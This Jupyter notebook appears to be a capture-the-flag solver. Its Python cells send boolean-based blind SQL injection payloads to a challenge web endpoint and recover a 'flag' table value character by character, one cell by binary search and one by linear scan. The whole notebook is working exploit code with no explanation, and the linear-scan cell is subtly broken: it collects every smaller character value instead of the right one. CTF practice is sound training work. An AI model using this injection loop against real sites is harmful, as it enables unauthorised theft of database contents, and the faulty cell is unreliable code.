{
 "cells": [
  {
   "cell_type": "code",
   "execution_count": 1,
   "id": "considered-joseph",
   "metadata": {},
   "outputs": [],
   "source": [
    "from requests import post\n",
    "url = \"http://9f149c5d-92de-41cd-aa8c-c30bfa862683.node3.buuoj.cn/index.php\"\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 29,
   "id": "therapeutic-channels",
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "yes\n"
     ]
    }
   ],
   "source": [
    "py = f\"if(ascii(mid((select(flag)from(flag)),1,1))=ascii('f'),1,2)\"\n",
    "data = {\"id\": py}\n",
    "\n",
    "res = post(url, data)\n",
    "if \"Hello\" in res.text:\n",
    "    print('yes')"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "preceding-cameroon",
   "metadata": {},
   "outputs": [],
   "source": [
    "from requests import post\n",
    "\n",
    "def payload():\n",
    "    url = \"http://9f149c5d-92de-41cd-aa8c-c30bfa862683.node3.buuoj.cn/index.php\"\n",
    "    res = []\n",
    "    for i in range(1, 50):\n",
    "        l, r, mid = 32, 127, (32 + 126) // 2\n",
    "        while l < r:\n",
    "            py = f\"if(ascii(mid((select(flag)from(flag)),{i},1))>{mid},1,2)\"\n",
    "            data = {'id': py}\n",
    "            resp = post(url, data)\n",
    "            if \"Hello\" in resp.text:\n",
    "                l = mid + 1\n",
    "            else:\n",
    "                r = mid\n",
    "            mid = (l + r) // 2\n",
    "        res.append(chr(int(mid)))\n",
    "    print(res)\n",
    "    print(\"\".join(res))\n",
    "payload()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "charitable-mixer",
   "metadata": {},
   "outputs": [],
   "source": [
    "from requests import post\n",
    "\n",
    "def payload():\n",
    "    url = \"http://9f149c5d-92de-41cd-aa8c-c30bfa862683.node3.buuoj.cn/index.php\"\n",
    "    res = []\n",
    "    for i in range(1, 50):\n",
    "        for j in range(32, 127):\n",
    "            py = f\"if(ascii(mid((select(flag)from(flag)),{i},1))>{j},1,2)\"\n",
    "            data = {'id': py}\n",
    "            resp = post(url, data)\n",
    "            if \"Hello\" in resp.text:\n",
    "                res.append(chr(j))\n",
    "    print(res)\n",
    "    print()\n",
    "    print(\"\".join(res))\n",
    "payload()"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.8.5"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}
